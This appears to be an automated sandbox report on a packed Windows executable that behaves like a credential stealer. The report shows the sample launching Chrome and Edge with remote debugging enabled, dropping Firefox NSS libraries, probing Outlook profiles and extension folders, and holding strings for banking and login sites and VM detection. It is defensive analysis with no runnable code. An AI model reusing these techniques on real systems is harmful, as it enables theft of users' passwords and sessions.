Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520962455.0000000003765000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2527357116.000000006C75F000.00000002.00000001.01000000.00000009.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2526921957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520962455.0000000003765000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2526921957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520962455.0000000003765000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2527357116.000000006C75F000.00000002.00000001.01000000.00000009.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2526921957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: ZXVcgrmGRM.exe, 00000000.00000003.2354118866.000000000982D000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000003.2223028670.000000000983B000.00000004.00000020.00020000.00000000.sdmp, GCBGCAFIIECBFIDHIJKF.0.dr, GIIEGHIDBGHIECAAECGD.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520962455.0000000003765000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2526921957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520962455.0000000003765000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2526921957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: ZXVcgrmGRM.exe

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Users\user\Desktop\ZXVcgrmGRM.exe "C:\Users\user\Desktop\ZXVcgrmGRM.exe"
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2380,i,3578664501745128445,4360506023146975092,262144 /prefetch:8
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2092,i,8163321258425635501,2864813512632756992,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2212,i,6321557815017827348,2764551426916478204,262144 /prefetch:3
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2380,i,3578664501745128445,4360506023146975092,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2092,i,8163321258425635501,2864813512632756992,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2092,i,8163321258425635501,2864813512632756992,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2212,i,6321557815017827348,2764551426916478204,262144 /prefetch:3	Jump to behavior

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: ZXVcgrmGRM.exe

Static file information: File size 6415328 > 1048576

Source: ZXVcgrmGRM.exe

Static PE information: Raw size of .vmp is bigger than: 0x100000 < 0x5c8e00

Source: ZXVcgrmGRM.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: ZXVcgrmGRM.exe, 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: ZXVcgrmGRM.exe, 00000000.00000002.2527357116.000000006C75F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: ZXVcgrmGRM.exe, 00000000.00000002.2527357116.000000006C75F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: ZXVcgrmGRM.exe, 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Code function: 0_2_6C58C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C58C410

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp

Source: ZXVcgrmGRM.exe	Static PE information: section name: .vmp
Source: ZXVcgrmGRM.exe	Static PE information: section name: .vmp
Source: ZXVcgrmGRM.exe	Static PE information: section name: .vmp
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Code function: 0_2_6C55B536 push ecx; ret

0_2_6C55B549

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Code function: 0_2_6C5855F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5855F0

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	API/Special instruction interceptor: Address: C09C10
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	API/Special instruction interceptor: Address: A9F9FD
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	API/Special instruction interceptor: Address: C6A0EF
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	API/Special instruction interceptor: Address: AEF9CA
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	API/Special instruction interceptor: Address: BF86A8
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	API/Special instruction interceptor: Address: BDE97A

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Code function: 0_2_6C53C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C53C930

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: GDHIIDAF.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: GDHIIDAF.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: GDHIIDAF.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: GDHIIDAF.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: GDHIIDAF.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: GDHIIDAF.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001207000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GDHIIDAF.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: GDHIIDAF.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: GDHIIDAF.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: GDHIIDAF.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: GDHIIDAF.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: GDHIIDAF.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: GDHIIDAF.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: GDHIIDAF.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: GDHIIDAF.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: GDHIIDAF.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: GDHIIDAF.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: GDHIIDAF.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: GDHIIDAF.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: GDHIIDAF.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: GDHIIDAF.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: GDHIIDAF.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: GDHIIDAF.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: GDHIIDAF.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: GDHIIDAF.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: GDHIIDAF.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: GDHIIDAF.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001207000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: GDHIIDAF.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: GDHIIDAF.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: GDHIIDAF.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpmy`
Source: GDHIIDAF.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Code function: 0_2_6C585FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C585FF0

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Code function: 0_2_6C58C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C58C410

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C55B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C55B66C
